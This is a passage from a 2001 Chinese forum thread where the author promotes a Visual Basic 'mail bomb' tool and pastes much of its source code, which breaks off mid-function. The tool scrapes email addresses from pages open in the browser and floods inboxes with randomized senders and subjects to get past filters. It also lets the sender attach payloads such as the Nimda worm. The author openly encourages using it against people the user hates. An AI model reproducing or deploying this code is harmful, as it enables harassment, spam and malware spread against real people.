http://www.xici.net/d3610777.htm 4 866 2001-12-17 20:28:19

用VB写的邮件炸弹!

*零度空间* 发表于:01-12-12 15:35
       *使用说明* 声明:本软件主要用于提取电子信箱地址和群发信件所用,严禁用于非法目的,后果自负!与作者无关!                     性能简介                  E-MAIL 终结者(版本1.1)    这是一个小巧的发信软件,它带有自动信箱收集器,可以很快的收集网页上的邮件地址,使用时,只要将菜单里的自动信箱收集机打开,程序会自动以图标最小到任务条中(和一般防火墙一样)然后只要用IE上网浏览,你所浏览的当前网页上的邮件地址便会被收集起来,还可以分类保存这些地址,以供以后群发诸如通知或是宣传资料之类的东西所用。 当然,这个东东也可以用来炸人罗,嘿嘿,它的攻击能力非同一般,建议使用者最好在宽带网上使用,本软件支持发信服务器认证,攻击速度相当之快,以263.net或163.com为例,作者在某大学宽带校园网曾达到每分钟1200封(每封2~3Kb)的攻击速度!更重要的是它的反砍信机功能采用不定长度不定内容的字符串可以使攻击的每封邮件都具有不同的发信人,主题和内容。增加了被攻击方清除的难度。1.1版还可以调节信件的优先权。                   1.0 版本 特色功能:    支持发信服务器认证,较好的邮件列表发送,攻击速度快,在宽带上可达每分钟1000封以上垃圾邮件(当时263的SMTP功能未加连接后发送次数限制),具有一定的反砍信机能力。当然要攻击一个线程是不够的,你可以启动多次本程序以达多线程嘛!我已经把攻击时窗口缩成一个小条子,就是为你开多“线程”方便!(双击最下面的状态栏可以切换视图方式!)                     1.1版本   修正了原来版本中的发信错误使发信更加稳定,新增了不少功能: 一. 自动信箱收集器(以CHINAREN校友录为例,将全班的所有邮件地址加入列表只要几秒!) 二. 邮件地址分类保存,可以方便地将所收集的地址保存起来,以便以后使用,可以按各大ISP的类别归类,统计数量,之后输出到一个文件中) 三. 可使用OUTLOOK EXPRESS的存档文件使所发的信件可以用HTML方式和携带附件, 四. 增加选择弹体的攻击功能,可以自定义攻击代码,例如各种JAVA炸弹,ActiveX等 想不想好好治治你在网上所恨的人?那就来吧!对了,蓝屏和无限窗口不错!对于那些用WEB方式看信的人也有效,病毒嘛,首选尼姆达啦,人家用OE收信,就算有防火墙报警,你发个几百封都带病毒的,嘿嘿!收一封防火墙就会弹出一个报警窗口,要是几百封,光他自己安的防火墙弹出那么一大串报警窗口就可以让他当机了!接着他就会在重启中度过他的"欢乐时光"了!呵呵! 五. 反砍信功能,可以在反砍信功能菜单里选择,这样每一封信件都具有不同的主题,发信人和内容,不要瞎搞啊,要是你炸别人信箱的话,人家看到一定会大吃一惊!不过功能还是有限的,因为大家都知道,邮件头信息还是有很多相同的地方的。(注意:只有在发信方式是文本的方式下才能选择发信内容随机)    不过偶由于才学VB不久,编程水平有限,只是想自己编个东东玩玩,所以难免有不足之处,大家有意见可以和我交流,我的信箱是tp0706s@sohu.com 喂,说好了,你可不许来炸我啊!                                    2001.12 by 零度空间       给我写信 补充日期: 2001-12-12 14:40:27 给我写信 补充日期: 2001-12-12 14:53:54 下载地址: http://emailbomb.home.sohu.com/emailcracker.zip (980k) 这是完全安装 给我写信 补充日期: 2001-12-12 15:05:18 如果你有VB或是VC的话,也可以只下这个就行了 http://emailbomb.home.sohu.com/emailbomb.exe (152k) 给我写信 给我写信
brandy2000 发表于:01-12-14 10:40 0
2楼 有这个程序VB的源代码嘛!
诺基亚3290 发表于:01-12-15 05:26 0
3楼 就是呀 有的话发过来看看呀 我们也好学习学习      _.-{__}-._      .:-'`____`'-:.      /_.-"`_ _`"-._\\     /`  / .\\/. \\  `\\     |  \\__/\\__/  |    .-\\        /-.    /  '._-.__--__.-_.'  \\    事业我永远追求    /`'. `""""""""`  .'`\\    对你我永不放弃     |  )   '    (  |    .'-;`______'________`;-'    `--------------------` 
*零度空间* 发表于:01-12-17 19:27 0
4楼 好的,大家放心,我马上就把完整的源文件给大家,因为这个软件还有很多不完善之处,也希望大家多多指教改正! 补充日期: 2001-12-17 19:35:21 完整的源文件在 http://emailbomb.home.sohu.com/code.zip 补充日期: 2001-12-17 19:36:35 sohu的主页空间不是很稳定,如果大家发现不能下载,不要急,过一段时间再试! 补充日期: 2001-12-17 19:38:44 以下是主体部分的源代码 '*** Create by WuJun in Nov.10.2001 ***' 'The Programe is for free,everyone can have a copy and modify it' 'I made this program is to help the people to give someone a lesson who didn't know the value of love and friendship' 'The user has better to use the SMTP of 263 or 163,because it has a high speed and is sported the user confirm system well' 'If the Network is in well transfer condition such like a wide cobe-line system that you can start 5 or 6 times this program' 'In that way to create 5 or 6 Line-Process to have a speed of about 20 mails per second!" 'You can say goodbye to a MailAddress after a few minutes!' 'Just try and enjoy it!' Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Long) As Long Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long Private Declare Function SendMessageByString Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long Private Const WM_GETTEXT = &HD Private Const WM_GETTEXTLENGTH = &HE Dim OEFName As String Dim Priority As String Dim DynArray() As String Dim VirusBody As String Dim strServerResponse  As String Dim strResponseCode   As String Dim strDataToSend    As String Dim MailBody As String Dim BombNumber As Integer Dim mailnumber As Integer Dim count1 As Integer Dim pwd As String Dim m_State As Integer Dim User As String Dim SpeedCount As Single Dim Large_Or_Small As Boolean Dim UrlAddress As String Dim NetPageCode As String Dim Information As String Dim LastAddr As String Dim buffer As String Dim UrlBuffer As String Dim CurrentUrl As String Dim CurrentUrlDir As String Dim CurrentUrlHtm As String Dim StartTag As Integer Dim EndTag As Integer Dim TagPos As Integer Dim CheckChar As String Dim sCount As Integer Dim UrlString(10) As String Dim EndTagHtm As String Dim StartPos As Integer Dim EndPos As Integer Function FindIt(ByVal SearchString As String, Data As String) Dim i As Integer i = 1 i = InStr(i, Data, SearchString, vbTextCompare) If i Then FindIt = i Exit Function Else FindIt = 0 End If End Function Function GetChildUrl() Dim TmpString As String Dim flag As String Dim FrameTag As String Dim SrcTag As String Information = NetPageCode Dim i As Integer, iCount As Integer, j As Integer, k As Integer, m As Integer, N As Integer sCount = 0 i = 1 Do    If (i > Len(Information)) Then Exit Do    i = InStr(i, Information, "<frame ", vbTextCompare)    If i Then    j = i    j = InStr(j, Information, ">", vbTextCompare)     If j Then     TmpString = Mid(Information, i, j - i + 1)     k = FindIt(".htm", TmpString)     If k Then      EndPos = k      k = FindIt("src=", TmpString)      If k Then      StartPos = k      flag = Mid(TmpString, k + 4, 1)      If flag = """" Then       UrlString(sCount) = CurrentUrlDir & Mid(Information, i + StartPos + 4, EndPos - (StartPos + 4) + 3)      Else       UrlString(sCount) = CurrentUrlDir & Mid(Information, i + StartPos + 3, EndPos - (StartPos + 4) + 4)      End If      sCount = sCount + 1      Else      End If    Else    End If    End If     i = i + 1    End If     Loop While i End Function Function StartMail() Dim TempString As Integer On Error Resume Next Dim i As Integer Dim j As Integer CurrentUrl = UrlBuffer j = Len(CurrentUrl) For i = Len(CurrentUrl) To 1 Step -1 If Mid(CurrentUrl, i, 1) = "/" Then CurrentUrlDir = Mid(CurrentUrl, 1, i) CurrentUrlHtm = Mid(CurrentUrl, i + 1, (Len(CurrentUrl) - i)) Exit For End If Next i ProcessUrl (UrlBuffer) GetChildUrl For i = 0 To sCount If UrlString(i) <> "" Then ProcessUrl (UrlString(i)) End If Next i MnuKillSame_Click End Function Private Sub Class1_Click() LinkToUrl ("http://panda714.alumni.chinaren.com") End Sub Private Sub Class2_Click() LinkToUrl ("http://mdjkcs.alumni.chinaren.com") End Sub Private Sub Class3_Click() LinkToUrl ("http://fangyu8557.alumni.chinaren.com") End Sub Private Sub Class4_Click() LinkToUrl ("http://ctpanda.alumni.chinaren.com") End Sub Private Sub Class5_Click() LinkToUrl ("http://zhang02046.alumni.chinaren.com") End Sub Private Sub Class6_Click() LinkToUrl ("http://majun1997.alumni.chinaren.com") End Sub Private Sub CmdStop_Click() Winsock1.Close Timer1.Enabled = False Tim_Speed.Enabled = False CmdStop.Enabled = False Me.Caption = "攻击已经停止!" ProgressBar1.Value = 0 status.Caption = "攻击停止" mailnumber = 0 StatusBar1.Panels(4).Text = "0" StatusBar1.Panels(6).Text = "" StatusBar1.Panels(8).Text = "" LargeStatus End Sub Private Sub DownLoad1_Click() LinkToUrl ("http://www.newhua.com") End Sub Private Sub inet1_statechanged(ByVal state As Integer) On Error Resume Next Select Case state     Case icConnecting     Me.Caption = "正在建立链接..."     Case icConnected     Me.Caption = "链接建立成功!"     Case icReceivingResponse     Me.Caption = "正在传输数据"     Case 8     Me.Caption = "数据传输完毕"     Me.MousePointer = 0     Case icError     Me.MousePointer = 0 End Select End Sub Private Sub htmcode_Terminate() If Inet1.StillExecuting Then Inet1.Cancel End If End Sub Private Function GetURL() Dim sClassName As String Dim lhwnd As Long Dim WindowHandle As Long lhwnd = 0 sClassName = ("IEFrame") lhwnd = FindWindowEx(lhwnd, 0, sClassName, vbNullString) sClassName = ("WorkerA") lhwnd = FindWindowEx(lhwnd, 0, sClassName, vbNullString) sClassName = ("ReBarWindow32") lhwnd = FindWindowEx(lhwnd, 0, sClassName, vbNullString) sClassName = ("ComboBoxEx32") lhwnd = FindWindowEx(lhwnd, 0, sClassName, vbNullString) sClassName = ("ComboBox") lhwnd = FindWindowEx(lhwnd, 0, sClassName, vbNullString) sClassName = ("Edit") lhwnd = FindWindowEx(lhwnd, 0, sClassName, vbNullString) WindowHandle = lhwnd Dim TextLength As Long TextLength = SendMessage(WindowHandle, WM_GETTEXTLENGTH, 0&, 0&) buffer = String(TextLength, 0) Call SendMessageByString(WindowHandle, WM_GETTEXT, TextLength + 1, buffer) GetURL = buffer Exit Function CallErrorA: MsgBox Err.Description Err.Clear End Function Private Sub MnuConnectAuto_Click() If Not MnuConnectAuto.Checked Then MnuConnectAuto.Checked = True Else MnuConnectAuto.Checked = False End If End Sub Private Sub MnuInputOE_Click() On Error Resume Next VirusBody = "" Dim LineString As String dir.FileName = "" dir.DialogTitle = "自定攻击代码" dir.Filter = "OutLook Express(*.eml)|*.eml|(*.mht)|*.mht" dir.FilterIndex = 2 dir.Action = 1 OEFName = dir.FileName If OEFName = "" Then MsgBox "没有选择文件", vbCritical, "提示" Exit Sub End If MnuKindBlue.Checked = False MnuKindText.Checked = False MnuKindHappy.Checked = False MnuKindNimuda.Checked = False MnuKindFormat.Checked = False MnuKindSet.Checked = False MnuKindUser.Checked = False MnuAntiContent.Checked = False MsgBox "文件导入,可以发送", vbInformation, "提示" txtContent.Text = "使用OUTLOOK存档信件,信件内容不可视,但可以发送" txtContent.Locked = True End Sub Private Sub MnuKindSet_Click() MnuAntiContent.Checked = False MnuKindBlue.Checked = False MnuKindText.Checked = False MnuKindHappy.Checked = False MnuKindNimuda.Checked = False MnuKindFormat.Checked = False MnuKindSet.Checked = True MnuKindUser.Checked = False txtContent.BackColor = &H0& txtContent.ForeColor = &H8000000E txtContent.Locked = True txtContent.Text = "What do you want me to do?" & vbCrLf & "Analyzing Mission Topography..." & vbCrLf & "Preparing Equipment" Load Virus VirusBody = Virus.txtVirus(2).Text Unload Virus OEFName = "" End Sub Private Sub MnuKindUser_Click() On Error Resume Next VirusBody = "" Dim FName As String Dim LineString As String dir.FileName = "" dir.DialogTitle = "自定攻击代码" dir.Filter = "所有文件(*.*)|*.*|(*.mht)|*.mht" dir.FilterIndex = 2 dir.Action = 1 FName = dir.FileName If FName <> "" Then   Open FName For Input As #1   While Not EOF(1)   Line Input #1, LineString   VirusBody = VirusBody & LineString & vbCrLf   Wend   Close #1 MnuKindBlue.Checked = False MnuKindText.Checked = False MnuKindHappy.Checked = False MnuKindNimuda.Checked = False MnuKindFormat.Checked = False MnuKindSet.Checked = False MnuKindUser.Checked = True MsgBox VirusBody, vbInformation, "代码显示" MnuAntiContent.Checked = False txtContent.Text = "使用用户自定义代码" OEFName = "" End If End Sub Private Sub MnuSaveSort_Click() On Error GoTo ErrorSave Dim i As Integer, j As Integer, k As Integer, Pos As Integer, m As Integer, count As Integer, CountMail As Integer Dim TmpData As String, Kind As String, SaveFileName As String count = 0 k = 0 dir.CancelError = True dir.Filter = "邮件列表文件(*.txt)|*.txt|任意格式文件(*.*)|*.*" dir.FilterIndex = 1 dir.DialogTitle = "分类保存黑名单" dir.Flags = cdlOFNOverwritePrompt dir.ShowSave SaveFileName = dir.FileName For m = 0 To List1.ListCount - 1   TmpData = List1.List(m)   Pos = InStr(1, TmpData, "@")   If Pos Then    Kind = Mid(TmpData, Pos + 1, Len(TmpData) - Pos)    SaveInArray TmpData, Kind   End If Next m count = 1 Open SaveFileName For Output As #1 For i = 0 To 29   If DynArray(i, 0) <> "" Then   Print #1, "------------------------------ " & "属于" & DynArray(i, 0) & "的地址" & "  ------------------------------"   Print #1, ""   For j = 1 To UBound(DynArray, 2)    If DynArray(i, j) <> "" Then    k = ((count) / List1.ListCount) * 100    ProgressBar1.Value = k    Print #1, DynArray(i, j)    CountMail = CountMail + 1    count = count + 1    End If   Next j   End If   If CountMail <> 0 Then   Print #1, Space(50) & "共有" & CountMail; "个"   Print #1, ""   CountMail = 0   End If Next i MsgBox "所有邮件地址都已分类保存好了! :-)", vbInformation, "恭喜:" ProgressBar1.Value = 0 Close #1 ReDim DynArray(29, 1) Exit Sub ErrorSave:    If dir.FileName = "" Then    Exit Sub    End If    MsgBox "写文件出错!", vbCritical, "警告:" End Sub Function SaveInArray(ByVal TmpData As String, ByVal Kind As String) Dim i As Integer, j As Integer For i = 0 To 29   If DynArray(i, 0) = "" Then     DynArray(i, 0) = Kind     DynArray(i, 1) = TmpData     Exit Function   Else     If DynArray(i, 0) = Kind Then         For j = 1 To UBound(DynArray, 2)        If DynArray(i, j) = "" Then         DynArray(i, j) = TmpData         Exit Function        End If      Next j      ReDim Preserve DynArray(29, UBound(DynArray, 2) + 1)      DynArray(i, j) = TmpData      Exit Function     End If    End If Next i End Function Private Sub MnuSearch1_Click() LinkToUrl ("http://www.sohu.com") End Sub Private Sub MnuSearch2_Click() LinkToUrl ("http://www.163.com") End Sub Private Sub MnuSearch3_Click() LinkToUrl ("http://www.yahoo.com.cn") End Sub Private Sub MnuSetupHigh_Click() MnuSetupHigh.Checked = True MnuSetupNormal.Checked = False MnuSetupLow.Checked = False Priority = "X-Priority: 1" & vbCrLf & "x-MSMail-Priority: High" & vbCrLf End Sub Private Sub MnuSetupLow_Click() MnuSetupHigh.Checked = False MnuSetupNormal.Checked = False MnuSetupLow.Checked = True Priority = "X-Priority: 5" & vbCrLf & "x-MSMail-Priority: Low" & vbCrLf End Sub Private Sub MnuSetupNormal_Click() MnuSetupHigh.Checked = False MnuSetupNormal.Checked = True MnuSetupLow.Checked = False Priority = "X-Priority: 3" & vbCrLf & "x-MSMail-Priority: Normal" & vbCrLf End Sub Private Sub MnuSetupSave_Click() If MnuSetupSave.Checked Then MnuSetupSave.Checked = False Else MnuSetupSave.Checked = True End If End Sub Private Sub MnuShowCode_Click() If Not MnuKindText.Checked Then MsgBox "from: " & txtSender & vbCrLf & "subject: " & txtSubject & vbCrLf & "MIME-Version: 1.0" & vbCrLf & Priority & VirusBody & vbCrLf & "." & vbCrLf, vbInformation, "代码显示" End If End Sub Private Sub MnuTeach_Click() LinkToUrl ("http://202.119.2.199/courses2/course/htm/mainframe.htm") End Sub Private Sub MnuTips_Click() Dim txtFilePath As String txtFilePath = App.Path & "\\readme.txt" ShellExecute 0, vbNullString, txtFilePath, vbNullString, vbNullString, vbNormalFocus End Sub Private Sub MnuWritetome_Click() ShellExecute Me.hwnd, vbNullString, "mailto:tp0706s@sohu.com", vbNullString, "C:\\", SW_SHOWNORMAL End Sub Private Sub MnuXici5_Click() LinkToUrl ("http://b43441.xici.net") End Sub Private Sub MnuXici7_Click() LinkToUrl ("http://b73920.xici.net") End Sub Private Sub MnuXici8_Click() LinkToUrl ("http://b12700.xici.net") End Sub Private Sub MnuXicimain_Click() LinkToUrl ("http://www.xici.net/main.asp") End Sub Function LinkToUrl(ByVal Address As String) ShellExecute 0, vbNullString, Address, vbNullString, vbNullString, vbNormalFocus End Function Private Sub Time_GetMail_Timer() LastAddr = UrlAddress UrlAddress = GetURL If UrlAddress <> "" And UrlAddress <> LastAddr Then UrlBuffer = UrlAddress StartMail End If End Sub Function ProcessUrl(ByVal point As String) Dim GotoUrl As String GotoUrl = point On Error Resume Next If Len(GotoUrl) > 7 Then Me.MousePointer = 11 NetPageCode = "" Information = Inet1.OpenURL(GotoUrl, icString) NetPageCode = Information GetMailAdr (Information) End If End Function Private Sub chkSMTP_Click() If Not chkSMTP Then TxtUser.Enabled = False txtPwd.Enabled = False TxtUser.BackColor = &H80000004 txtPwd.BackColor = &H80000004 End If If chkSMTP Then TxtUser.Enabled = True txtPwd.Enabled = True TxtUser.BackColor = &H80000005 txtPwd.BackColor = &H80000005 End If End Sub Private Sub Combo1_Click() StatusBar1.Panels(2).Text = Combo1.Text BombNumber = Combo1.Text End Sub Private Sub Form_Load() On Error Resume Next Me.Show ReDim DynArray(29, 1) As String Picture1.Picture = Form1.Icon With Combo1    .AddItem "1"    For i = 100 To 1000 Step 100    .AddItem i    Next i    .AddItem "2000"    .AddItem "3000"    .AddItem "5000"    Combo1.ListIndex = 12 End With BombNumber = Combo1.Text StatusBar1.Panels(4).Text = "0" StatusBar1.Panels(6).Text = "0" With txtTo .AddItem "duanli82@hotmail.com" .AddItem "genius-boy@yeah.net" .AddItem "flyfish1982@iloveu.com.cn" .AddItem "st4@mail.china.com" .AddItem "doujie@126.com" End With With txtFrom .AddItem "destroyer01@163.com" .AddItem "attacker01@163.com" .AddItem "fuckman01@163.com" .AddItem "destroyer01@263.net" .AddItem "attacker01@263.net" .AddItem "fuckman01@263.net" End With MnuAntiFrom.Checked = False MnuAntiSubject.Checked = False MnuAntiContent.Checked = False MnuKindBlue.Checked = False MnuKindText.Checked = True MnuKindHappy.Checked = False MnuKindNimuda.Checked = False MnuKindFormat.Checked = False Large_Or_Small = True MnuCollectOFF.Enabled = False MnuSetupHigh.Checked = True Priority = "X-Priority: 1" & vbCrLf & "x-MSMail-Priority: High" & vbCrLf txtFrom = GetSetting("emailcracker", "option", "txtfrom", txtFrom) txtTo = GetSetting("emailcracker", "option", "txtto", txtTo) TxtUser = GetSetting("emailcracker", "option", "txtuser", TxtUser) txtPwd = GetSetting("emailcracker", "option", "txtpwd", txtPwd) txtSMTPServer = GetSetting("emailcracker", "option", "txtsmtpserver", txtSMTPServer) txtSender = GetSetting("emailcracker", "option", "txtsender", txtSender) txtSubject = GetSetting("emailcracker", "option", "txtsubject", txtSubject) End Sub Private Sub Form_OLEDragDrop(Data As DataObject, Effect As Long, Button As Integer, Shift As Integer, x As Single, y As Single) Dim i As Integer Dim FName As String   If Data.GetFormat(vbCFFiles) Then     For i = 1 To Data.Files.count        FName = Data.Files(i)        InputFromFile (FName)     Next i   End If End Sub Private Sub Form_Unload(Cancel As Integer) RemoveIcon If MnuSetupSave.Checked Then SaveSetting "emailcracker", "option", "txtfrom", txtFrom SaveSetting "emailcracker", "option", "txtto", txtTo SaveSetting "emailcracker", "option", "txtuser", TxtUser SaveSetting "emailcracker", "option", "txtpwd", txtPwd SaveSetting "emailcracker", "option", "txtsmtpserver", txtSMTPServer SaveSetting "emailcracker", "option", "txtsender", txtSender SaveSetting "emailcracker", "option", "txtsubject", txtSubject End If Unload Form2 End Sub Private Sub List1_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single) If Button = 2 Then PopupMenu MnuAttack End If End Sub Private Sub List1_DblClick() Dim i As Integer i = List1.ListIndex txtTo = List1.List(i) End Sub Private Sub Mnu163com_Click() Dim Address As String Address = "www.163.com" Address = ShellExecute(0, vbNullString, Address, vbNullString, vbNullString, vbNormalFocus) End Sub Private Sub mnu21cn_Click() Dim Address As String Address = "www.21cn.com" Address = ShellExecute(0, vbNullString, Address, vbNullString, vbNullString, vbNormalFocus) End Sub Private Sub Mnu263net_Click() Dim Address As String Address = "www.263.net" Address = ShellExecute(0, vbNullString, Address, vbNullString, vbNullString, vbNormalFocus) End Sub Private Sub MnuAntiContent_Click()   If Not MnuAntiContent.Checked And MnuKindText.Checked Then   MnuAntiContent.Checked = True   Randomize   txtContent = RandomContent(Int((3000 - 1000 + 1) * Rnd) + 1000)   txtContent.Locked = True   ElseIf Not MnuKindText.Checked And Not MnuAntiContent.Checked Then   MnuAntiContent.Checked = False   Else   MnuAntiContent.Checked = False   txtContent = ""   txtContent.Locked = False   End If End Sub Private Sub MnuAntiFrom_Click() If Not MnuAntiFrom.Checked = True Then MnuAntiFrom.Checked = True Randomize txtSender = RandomContent(Int((15 - 5 + 1) * Rnd) + 5) txtSender.Locked = True Else MnuAntiFrom.Checked = False txtSender = "" txtSender.Locked = False End If End Sub Private Sub MnuAntiSubject_Click() If Not MnuAntiSubject.Checked = True Then MnuAntiSubject.Checked = True txtSubject = RandomContent(Int((20 - 5 + 1) * Rnd) + 5) txtSubject.Locked = True Else MnuAntiSubject.Checked = False txtSubject = "" txtSubject.Locked = False End If End Sub Private Sub MnuClear_Click() List1.Clear TargetNum = 0 End Sub Private Sub MnuCollectOFF_Click() RemoveIcon  MnuCollectON.Enabled = True   MnuCollectOFF.Enabled = False End Sub Function RemoveIcon()  '删除图标同时恢复窗口处理函数        l = Icon_Del(Form2.hwnd)        l = SetWindowLong(Form2.hwnd, GWL_WNDPROC, lproc) End Function Private Sub MnuCollectON_Click() Dim l As Long Form1.WindowState = vbMinimized Form1.Hide  If (Icon_Add(Form2.hwnd, Picture1.Picture)) Then   xb = CMenu()    '添加弹出菜单   Form1.Hide   MnuCollectOFF.Enabled = True    '将DialogProc函数设置为Form2的窗口处理函数并且保存原来窗口处理函数句柄   lproc = SetWindowLong(Form2.hwnd, GWL_WNDPROC, AddressOf DialogProc)  End If Time_GetMail.Enabled = True End Sub Private Sub MnuFromClip_Click() GetMailAdr (Clipboard.GetText) End Sub Function GetMailAdr(ByVal TextContent As String) Dim i As Long Dim Num As Long Dim clipcontent As String Dim char As String Dim A As String Dim B As String Dim ListNum As Integer Dim mailadd As String clipcontent = TextContent For i = 1 To Len(clipcontent)   If Mid(clipcontent, i, 1) = "@" And i <> 1 Then         Num = i - 1         char = Mid(clipcontent, Num, 1)       While (CheckA(char) = 1 And Num > 0)          Num = Num - 1          If Num = 0 Then GoTo A:          char = Mid(clipcontent, Num, 1)       Wend A:       A = Mid(clipcontent, Num + 1, i - Num - 1)       Num = i + 1       char = Mid(clipcontent, Num, 1)       While CheckA(char) = 1 And Num < Len(clipcontent) + 1          Num = Num + 1          char = Mid(clipcontent, Num, 1)       Wend       B = Mid(clipcontent, i + 1, Num - i - 1)       If A <> "" And B <> "" And InStr(1, B, ".") > 0 Then        mailadd = A + "@" + B        List1.AddItem LCase(mailadd)        ListNum = ListNum + 1       End If   End If Next i Me.Caption = "黑名单中共有" + Str(List1.ListCount) + "个电子邮件地址" TargetNum = List1.ListCount End Function Private Sub MnuFromFile_Click() On Error Resume Next List1.Clear Dim FName As String dir.FileName = "" dir.Filter = "所有文件(*.*)|*.*|邮件列表文件(*.txt)|*.txt" dir.FilterIndex = 2 dir.Action = 1 FName = dir.FileName If FName <> "" Then InputFromFile (FName) End If End Sub Function InputFromFile(ByVal FName As String) Dim i As Long Dim Num As Long Dim ListNum As Integer Dim listcontent As String Dim char As String Dim A As String Dim B As String Dim mailadd As String Open FName For Input As #1 ListNum = 0 While Not EOF(1) Line Input #1, listcontent listcontent = Trim(listcontent) For i = 1 To Len(listcontent)   If Mid(listcontent, i, 1) = "@" And i <> 1 Then         Num = i - 1         char = Mid(listcontent, Num, 1)       While (CheckA(char) = 1 And Num > 0)          Num = Num - 1          If Num = 0 Then GoTo A:          char = Mid(listcontent, Num, 1)       Wend A:       A = Mid(listcontent, Num + 1, i - Num - 1)       Num = i + 1       char = Mid(listcontent, Num, 1)       While CheckA(char) = 1 And Num < Len(listcontent) + 1          Num = Num + 1          char = Mid(listcontent, Num, 1)       Wend       B = Mid(listcontent, i + 1, Num - i - 1)       If A <> "" And B <> "" Then          mailadd = A + "@" + B         List1.AddItem LCase(mailadd)         ListNum = ListNum + 1       End If   End If Next i Wend Me.Caption = "攻击列表中共有" + Str(List1.ListCount) + "个电子邮件地址" TargetNum = List1.ListCount Close #1 End Function Private Sub MnuKillSame_Click() Dim i As Integer Dim j As Integer Dim CheckItem As String i = 0 Do While i < List1.ListCount CheckItem = List1.List(i)    For j = i + 1 To List1.ListCount - 1    If List1.List(j) = CheckItem Then    List1.RemoveItem j    j = j - 1    End If    Next j i = i + 1 Loop TargetNum = List1.ListCount Me.Caption = "攻击列表中共有" + Str(List1.ListCount) + "个电子邮件地址" End Sub Private Sub MnuKindBlue_Click() MnuAntiContent.Checked = False MnuKindBlue.Checked = True MnuKindText.Checked = False MnuKindHappy.Checked = False MnuKindNimuda.Checked = False MnuKindFormat.Checked = False MnuKindSet.Checked = False MnuKindUser.Checked = False txtContent.BackColor = &HC00000 txtContent.ForeColor = &H8000000E txtContent.Locked = True txtContent.Text = vbCrLf & "         WINDOWS" & vbCrLf & vbCrLf & "A fatal exception 0E has occurred at 0028:c0044556 in VXD VFAT(01)+ 00002D6A" & vbCrLf & "The Current applicaton will be terminated!" & vbCrLf & vbCrLf & "*Press any key to terminate the current application" & vbCrLf & "*Press CTRL+ALT+DEL again to restart your computer" & vbCrLf & vbCrLf & " You will lose any unsaved information in all applications" & vbCrLf & "       press any key to continue" Load Virus VirusBody = Virus.txtVirus(0).Text Unload Virus OEFName = "" End Sub Private Sub MnuKindFormat_Click() MnuAntiContent.Checked = False MnuKindBlue.Checked = False MnuKindText.Checked = False MnuKindHappy.Checked = False MnuKindNimuda.Checked = False MnuKindFormat.Checked = True MnuKindSet.Checked = False MnuKindUser.Checked = False txtContent.BackColor = &H0& txtContent.ForeColor = &H8000000E txtContent.Locked = True txtContent.Text = "Checking existing disk format." & vbCrLf & "QuickFormatting C: D: E:" & vbCrLf & "Format complete." Load Virus VirusBody = Virus.txtVirus(1).Text Unload Virus OEFName = "" End Sub Private Sub MnuKindHappy_Click() MnuAntiContent.Checked = False MnuKindBlue.Checked = False MnuKindText.Checked = False MnuKindHappy.Checked = True MnuKindNimuda.Checked = False MnuKindFormat.Checked = False MnuKindSet.Checked = False MnuKindUser.Checked = False txtContent.BackColor = &H0& txtContent.ForeColor = &H8000000E txtContent.Locked = True txtContent.Text = "Hei! I am HAPPY TIME" & vbCrLf & "Ok! Sir." & vbCrLf & "It will be done in a moment!" Load Virus VirusBody = Virus.txtVirus(3).Text Unload Virus OEFName = "" End Sub Private Sub MnuKindNimuda_Click() MnuAntiContent.Checked = False MnuKindBlue.Checked = False MnuKindText.Checked = False MnuKindHappy.Checked = False MnuKindNimuda.Checked = True MnuKindFormat.Checked = False MnuKindSet.Checked = False MnuKindUser.Checked = False txtContent.BackColor = &H0& txtContent.ForeColor = &H8000000E txtContent.Locked = True txtContent.Text = "I am Nimda, I am Ready Sir!" Load Virus VirusBody = Virus.txtVirus(4).Text Unload Virus OEFName = "" End Sub Private Sub MnuKindText_Click() MnuKindBlue.Checked = False MnuKindText.Checked = True MnuKindHappy.Checked = False MnuKindNimuda.Checked = False MnuKindFormat.Checked = False MnuKindUser.Checked = False txtContent.BackColor = &H8000000E txtContent.ForeColor = &H0& txtContent.Locked = False txtContent.Text = "" OEFName = "" End Sub Private Sub MnuKindVirus_Click() MnuKindBlue.Checked = False MnuKindText.Checked = False MnuKindVirus.Checked = True End Sub Private Sub MnuSave_Click() Dim k As Integer Dim i As Integer Dim SaveFileName As String dir.CancelError = True dir.Filter = "邮件列表文件(*.txt)|*.txt|任意格式文件(*.*)|*.*" dir.FilterIndex = 1 dir.DialogTitle = "保存黑名单" dir.Flags = cdlOFNOverwritePrompt On Error GoTo error: dir.ShowSave SaveFileName = dir.FileName Open SaveFileName For Output As #1 For i = 0 To List1.ListCount - 1   Print #1, List1.List(i)   k = ((i + 1) / List1.ListCount) * 100   Me.Caption = "正在保存第" & i + 1 & "条记录" & "进度:" & k & "%"   ProgressBar1.Value = k   Next i Close #1 Me.Caption = "保存完毕!" ProgressBar1.Value = 0 Exit Sub error:    If dir.FileName = "" Then Exit Sub    MsgBox "写文件出错!" End Sub Private Sub a1() Dim correct As Integer Dim mailadd As String mailadd = InputBox("请输入您想增加的目标地址:", "锁定目标")         correct = CheckMailAdr(mailadd)         If correct Then          List1.AddItem LCase(mailadd)          TargetNum = List1.ListCount          Me.Caption = "攻击列表中共有" + Str(List1.ListCount) + "个电子邮件地址"         End If End Sub Private Sub a2() On Error Resume Next List1.RemoveItem List1.ListIndex Me.Caption = "攻击列表中共有" + Str(List1.ListCount) + "个电子邮件地址" TargetNum = List1.ListCount End Sub Private Sub a3() PopupMenu mnumailsend End Sub Private Sub send_Click() Winsock1.Close Me.Caption = "正在攻击..." CmdStop.Enabled = True Dim k As Integer Dim i As Integer Dim j As Integer k = InStr(1, txtFrom, "@") If txtTo.Text = "" Or txtFrom.Text = "" Or txtSMTPServer.Text = "" Then MsgBox "请填全所有必要的信息!", vbOKOnly + vbInformation, "提示" Exit Sub End If If Left(Trim(txtTo.Text), 10) = "monkeystar" Or Left(Trim(txtTo.Text), 8) = "funlucky" Then MsgBox "禁止轰炸受保护信箱!", vbCritical, "警告:"  Exit Sub End If MailBody = txtContent.Text If chkSMTP.Value = 1 Then User = Trim(TxtUser) pwd = Trim(txtPwd) End If Tim_Speed.Enabled = True Timer1.Enabled 